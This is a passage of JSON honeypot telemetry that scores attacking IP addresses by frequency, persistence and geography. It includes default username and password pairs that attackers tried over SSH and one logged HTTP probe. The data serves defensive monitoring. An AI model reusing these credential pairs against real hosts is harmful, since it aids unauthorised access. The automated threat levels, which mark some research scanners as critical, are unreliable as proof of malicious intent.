    },
    "115.56.186.204": {
      "attack_count": 18,
      "first_seen": "2026-04-08T03:20:08.934Z",
      "last_seen": "2026-04-08T03:22:05.459Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T03:20:08.934000+00:00",
        "last_seen_30d": "2026-04-08T03:23:15.636000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "94.26.106.206": {
      "attack_count": 18,
      "first_seen": "2026-04-21T10:07:56.747Z",
      "last_seen": "2026-04-26T14:36:54.820Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 10.0,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 12,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-16T09:49:58.542000+00:00",
        "last_seen_30d": "2026-04-27T03:19:31.301000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Tanner": 44,
        "Cowrie": 18,
        "Honeytrap": 1
      }
    },
    "185.107.80.93": {
      "attack_count": 16,
      "first_seen": "2026-04-01T15:45:18.797Z",
      "last_seen": "2026-04-29T15:04:38.610Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Ouistreham",
      "asn": 43350,
      "as_org": "NForce Entertainment B.V.",
      "threat_score": 96.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 394,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:27:19.856000+00:00",
        "last_seen_30d": "2026-04-30T19:34:09.171000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 281,
        "Honeytrap": 84,
        "Cowrie": 16,
        "Redishoneypot": 8,
        "Dionaea": 5
      }
    },
    "201.150.26.241": {
      "attack_count": 16,
      "first_seen": "2026-04-28T08:18:54.644Z",
      "last_seen": "2026-04-28T08:33:06.866Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Xinguara",
      "asn": 52963,
      "as_org": "JATIMNET TELECOM",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:18:54.644000+00:00",
        "last_seen_30d": "2026-04-28T08:43:47.614000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "117.131.156.103": {
      "attack_count": 15,
      "first_seen": "2026-04-20T05:42:43.760Z",
      "last_seen": "2026-04-20T05:44:47.866Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38019,
      "as_org": "tianjin Mobile Communication Company Limited",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T05:42:43.760000+00:00",
        "last_seen_30d": "2026-04-20T05:54:52.319000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "64.62.156.182": {
      "attack_count": 14,
      "first_seen": "2026-04-04T01:28:54.819Z",
      "last_seen": "2026-04-28T08:50:06.887Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 274,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T06:23:46.238000+00:00",
        "last_seen_30d": "2026-04-30T04:45:52.047000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170,
        "Honeytrap": 83,
        "Cowrie": 14,
        "Dionaea": 6,
        "Honeyaml": 1
      }
    },
    "46.101.179.153": {
      "attack_count": 12,
      "first_seen": "2026-04-21T11:48:04.742Z",
      "last_seen": "2026-04-21T11:48:06.151Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.8,
        "persistence": 5.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 6,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-18T08:26:43+00:00",
        "last_seen_30d": "2026-04-23T13:55:47.085000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Cowrie": 12,
        "Honeytrap": 9,
        "Ipphoney": 1
      }
    },
    "206.189.93.37": {
      "attack_count": 10,
      "first_seen": "2026-04-08T16:33:59.930Z",
      "last_seen": "2026-04-08T16:34:10.861Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "icatch99",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T16:33:59.930000+00:00",
        "last_seen_30d": "2026-04-08T16:35:20.502000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 4
      }
    },
    "80.245.47.5": {
      "attack_count": 10,
      "first_seen": "2026-04-18T09:39:02.971Z",
      "last_seen": "2026-04-18T09:40:57.431Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 56582,
      "as_org": "Netfactor Telekominikasyon ve Teknoloji Hizmetleri San. ve Tic. A.S.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T09:38:26.623000+00:00",
        "last_seen_30d": "2026-04-18T09:42:03.639000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "185.56.88.240": {
      "attack_count": 8,
      "first_seen": "2026-04-30T13:55:24.571Z",
      "last_seen": "2026-04-30T13:58:14.223Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 60140,
      "as_org": "Buzinessware FZCO",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:55:24.571000+00:00",
        "last_seen_30d": "2026-04-30T13:59:19.846000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "192.42.116.116": {
      "attack_count": 8,
      "first_seen": "2026-04-28T20:32:55.498Z",
      "last_seen": "2026-04-28T20:33:20.111Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:32:55.498000+00:00",
        "last_seen_30d": "2026-04-28T20:34:21.407000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "45.115.176.215": {
      "attack_count": 8,
      "first_seen": "2026-04-05T11:13:30.007Z",
      "last_seen": "2026-04-05T11:14:24.674Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:13:30.007000+00:00",
        "last_seen_30d": "2026-04-05T11:15:26.716000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "45.156.129.80": {
      "attack_count": 8,
      "first_seen": "2026-04-17T02:33:33.751Z",
      "last_seen": "2026-04-17T02:34:02.598Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 77.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.5,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T23:15:29.826000+00:00",
        "last_seen_30d": "2026-04-29T03:23:07.023000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 102,
        "Honeytrap": 69,
        "Cowrie": 8
      }
    },
    "82.86.132.239": {
      "attack_count": 8,
      "first_seen": "2026-04-27T01:34:43.299Z",
      "last_seen": "2026-04-27T01:36:55.382Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 272809,
      "as_org": "THUNDERNET, C.A.",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:34:43.299000+00:00",
        "last_seen_30d": "2026-04-27T01:37:59.911000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "172.104.11.46": {
      "attack_count": 6,
      "first_seen": "2026-04-05T12:26:07.103Z",
      "last_seen": "2026-04-05T12:26:07.495Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 68.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.0,
        "persistence": 23.3,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 28,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T21:07:47+00:00",
        "last_seen_30d": "2026-04-28T05:46:22.355000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 14,
        "Cowrie": 6
      }
    },
    "176.65.148.37": {
      "attack_count": 6,
      "first_seen": "2026-04-12T19:36:26.695Z",
      "last_seen": "2026-04-15T11:01:16.712Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "\u001a",
        "tshell"
      ],
      "passwords_attempted": [
        "ddd",
        "shell"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.0,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 630,
        "days_active_30d": 19,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-12T16:52:17.464000+00:00",
        "last_seen_30d": "2026-04-30T05:18:14.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 430,
        "Honeytrap": 179,
        "Tanner": 11,
        "Cowrie": 6,
        "Dionaea": 4
      }
    },
    "185.247.137.88": {
      "attack_count": 6,
      "first_seen": "2026-04-12T12:40:38.336Z",
      "last_seen": "2026-04-12T12:40:41.086Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:58:03.698000+00:00",
        "last_seen_30d": "2026-04-12T12:50:41.423000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "196.203.106.88": {
      "attack_count": 6,
      "first_seen": "2026-04-18T12:23:07.403Z",
      "last_seen": "2026-04-18T12:23:32.772Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": null,
      "asn": 2609,
      "as_org": "TN-BB-AS Tunisia BackBone AS",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-18T12:23:07.403000+00:00",
        "last_seen_30d": "2026-04-18T12:24:55.609000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "66.132.195.85": {
      "attack_count": 6,
      "first_seen": "2026-04-23T19:35:51.623Z",
      "last_seen": "2026-04-23T19:36:56.782Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T02:32:03+00:00",
        "last_seen_30d": "2026-04-30T19:37:08.287000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 61,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Honeyaml": 4,
        "Dionaea": 1
      }
    },
    "8.211.144.142": {
      "attack_count": 6,
      "first_seen": "2026-04-01T16:47:42.409Z",
      "last_seen": "2026-04-01T16:47:46.523Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 59.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 24.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 29,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T16:47:42.409000+00:00",
        "last_seen_30d": "2026-04-29T20:42:02.132000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 6,
        "Honeytrap": 6
      }
    },
    "182.13.96.129": {
      "attack_count": 5,
      "first_seen": "2026-04-21T15:11:53.315Z",
      "last_seen": "2026-04-21T15:11:55.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "deploy"
      ],
      "passwords_attempted": [
        "d3pl0y1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Yogyakarta",
      "asn": 23693,
      "as_org": "PT. Telekomunikasi Selular",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:11:53.315000+00:00",
        "last_seen_30d": "2026-04-21T15:13:03.525000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "35.229.164.153": {
      "attack_count": 5,
      "first_seen": "2026-04-13T17:26:02.186Z",
      "last_seen": "2026-04-13T17:26:04.508Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T17:26:02.186000+00:00",
        "last_seen_30d": "2026-04-13T17:27:13.708000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "121.29.84.143": {
      "attack_count": 4,
      "first_seen": "2026-04-14T01:19:29.225Z",
      "last_seen": "2026-04-14T01:19:44.225Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 38.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-14T01:19:29.225000+00:00",
        "last_seen_30d": "2026-04-28T11:51:27.398000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "129.121.38.216": {
      "attack_count": 4,
      "first_seen": "2026-04-26T15:29:42.635Z",
      "last_seen": "2026-04-27T05:29:26.797Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.1,
        "persistence": 5.0,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 6,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-22T02:06:04.043000+00:00",
        "last_seen_30d": "2026-04-27T14:45:11.195000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 4,
        "Adbhoney": 2,
        "Honeytrap": 2,
        "Tanner": 1
      }
    },
    "147.185.132.90": {
      "attack_count": 4,
      "first_seen": "2026-04-16T04:57:16.978Z",
      "last_seen": "2026-04-16T04:57:20.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T00:50:56.195000+00:00",
        "last_seen_30d": "2026-04-30T20:39:03.925000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 22,
        "Cowrie": 4
      }
    },
    "159.223.119.218": {
      "attack_count": 4,
      "first_seen": "2026-04-08T06:20:42.230Z",
      "last_seen": "2026-04-08T06:20:43.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T06:20:42.230000+00:00",
        "last_seen_30d": "2026-04-08T06:21:50.021000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "160.119.76.63": {
      "attack_count": 4,
      "first_seen": "2026-04-27T14:55:11.656Z",
      "last_seen": "2026-04-27T14:58:59.734Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
